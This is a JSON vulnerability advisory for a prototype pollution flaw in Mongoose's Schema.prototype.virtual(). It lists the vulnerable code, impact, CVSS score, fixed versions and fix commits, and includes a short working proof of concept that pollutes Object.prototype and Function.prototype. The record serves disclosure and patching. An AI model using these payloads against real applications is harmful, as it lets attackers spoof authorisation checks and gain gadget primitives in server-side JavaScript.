{"id":"CVE-2026-125118","aliases":["GHSA-6972-9mcm-vhwj"],"url":"https://o3.security/vulnerability/CVE-2026-125118","summary":"Mongoose: Prototype pollution via Schema.prototype.virtual()","details":"### Summary\n\nPrototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.\n\n### Details\n\nIn lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:\n\n```javascript\nvirtuals[name] = parts.reduce(function(mem, part, i) {\nmem[part] || (mem[part] = (i === parts.length - 1)\n? new VirtualType(options, name)\n: {});\nreturn mem[part];\n}, this.tree); // lines 2755-2759\n```\n\nUnlike `path()`/`add()`, `virtual()` never received the `specialProperties` check added for CVE-2022-2564/CVE-2022-24304 (`lib/schema.js` lines 806, 1308, 1331).\n\nA path containing `__proto__`/`constructor`/`prototype` segments resolves through the prototype chain and writes onto `Object.prototype` / `Function.prototype`.\n\n### Proof of concept\n\n```javascript\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema({});\n\nschema.virtual('__proto__.polluted');\nconsole.log(({}).polluted); // VirtualType instance\nconsole.log(Object.prototype.hasOwnProperty('polluted')); // true\nconsole.log(Object.getOwnPropertyDescriptor(\nObject.prototype, 'polluted').enumerable); // true\n\nschema.virtual('constructor.prototype.opol');\nconsole.log(({}).opol); // true\n\nschema.virtual('hasOwnProperty.__proto__.fpol');\nconsole.log((function(){}).fpol); // Function.prototype polluted\n```\n\n### Impact\n\nAttacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. `({}).isAdmin` checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).","published":"2026-11-09T22:29:55.070Z","modified":"2026-11-11T02:48:46.952355210Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"mongoose","fixedVersion":"6.13.12"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"7.8.13"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"8.24.7"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"9.11.4"}],"fix":{"url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1","label":"Automattic/mongoose@318f7e0"},"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.12"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.13"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.7"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.11.4"},{"type":"ADVISORY","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/125xxx/CVE-2026-125118.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125118"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-11T02:48:46.952355210Z"}}